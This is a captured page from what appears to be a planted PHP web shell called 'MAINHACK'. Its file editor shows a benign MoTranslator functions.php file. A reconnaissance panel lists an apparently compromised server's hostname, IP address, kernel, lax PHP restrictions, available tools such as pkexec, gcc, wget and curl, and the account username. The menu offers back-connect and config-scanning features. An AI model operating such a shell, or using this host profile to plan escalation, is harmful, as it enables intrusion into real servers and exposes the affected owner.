[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: functions.php
<?php declare(strict_types=1); /* Copyright (c) 2005 Steven Armstrong <sa at c-area dot ch> Copyright (c) 2009 Danilo Segan <danilo@kvota.net> Copyright (c) 2016 Michal Čihař <michal@cihar.com> This file is part of MoTranslator. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ use PhpMyAdmin\MoTranslator\Loader; /** * Sets a requested locale. * * @param int $category Locale category, ignored * @param string $locale Locale name * * @return string Set or current locale */ function _setlocale(int $category, string $locale): string { return Loader::getInstance()->setlocale($locale); } /** * Sets the path for a domain. * * @param string $domain Domain name * @param string $path Path where to find locales */ function _bindtextdomain(string $domain, string $path): void { Loader::getInstance()->bindtextdomain($domain, $path); } /** * Dummy compatibility function, MoTranslator assumes * everything is using same character set on input and * output. * * Generally it is wise to output in UTF-8 and have * mo files in UTF-8. * * @param string $domain Domain where to set character set * @param string $codeset Character set to set */ function _bind_textdomain_codeset($domain, $codeset): void { } /** * Sets the default domain. * * @param string $domain Domain name */ function _textdomain(string $domain): void { Loader::getInstance()->textdomain($domain); } /** * Translates a string. * * @param string $msgid String to be translated * * @return string translated string (or original, if not found) */ function _gettext(string $msgid): string { return Loader::getInstance()->getTranslator()->gettext($msgid); } /** * Translates a string, alias for _gettext. * * @param string $msgid String to be translated * * @return string translated string (or original, if not found) */ function __(string $msgid): string { return Loader::getInstance()->getTranslator()->gettext($msgid); } /** * Plural version of gettext. * * @param string $msgid Single form * @param string $msgidPlural Plural form * @param int $number Number of objects * * @return string translated plural form */ function _ngettext(string $msgid, string $msgidPlural, int $number): string { return Loader::getInstance()->getTranslator()->ngettext($msgid, $msgidPlural, $number); } /** * Translate with context. * * @param string $msgctxt Context * @param string $msgid String to be translated * * @return string translated plural form */ function _pgettext(string $msgctxt, string $msgid): string { return Loader::getInstance()->getTranslator()->pgettext($msgctxt, $msgid); } /** * Plural version of pgettext. * * @param string $msgctxt Context * @param string $msgid Single form * @param string $msgidPlural Plural form * @param int $number Number of objects * * @return string translated plural form */ function _npgettext(string $msgctxt, string $msgid, string $msgidPlural, int $number): string { return Loader::getInstance()->getTranslator()->npgettext($msgctxt, $msgid, $msgidPlural, $number); } /** * Translates a string. * * @param string $domain Domain to use * @param string $msgid String to be translated * * @return string translated string (or original, if not found) */ function _dgettext(string $domain, string $msgid): string { return Loader::getInstance()->getTranslator($domain)->gettext($msgid); } /** * Plural version of gettext. * * @param string $domain Domain to use * @param string $msgid Single form * @param string $msgidPlural Plural form * @param int $number Number of objects * * @return string translated plural form */ function _dngettext(string $domain, string $msgid, string $msgidPlural, int $number): string { return Loader::getInstance()->getTranslator($domain)->ngettext($msgid, $msgidPlural, $number); } /** * Translate with context. * * @param string $domain Domain to use * @param string $msgctxt Context * @param string $msgid String to be translated * * @return string translated plural form */ function _dpgettext(string $domain, string $msgctxt, string $msgid): string { return Loader::getInstance()->getTranslator($domain)->pgettext($msgctxt, $msgid); } /** * Plural version of pgettext. * * @param string $domain Domain to use * @param string $msgctxt Context * @param string $msgid Single form * @param string $msgidPlural Plural form * @param int $number Number of objects * * @return string translated plural form */ function _dnpgettext(string $domain, string $msgctxt, string $msgid, string $msgidPlural, int $number): string { return Loader::getInstance()->getTranslator($domain)->npgettext($msgctxt, $msgid, $msgidPlural, $number); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.68 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002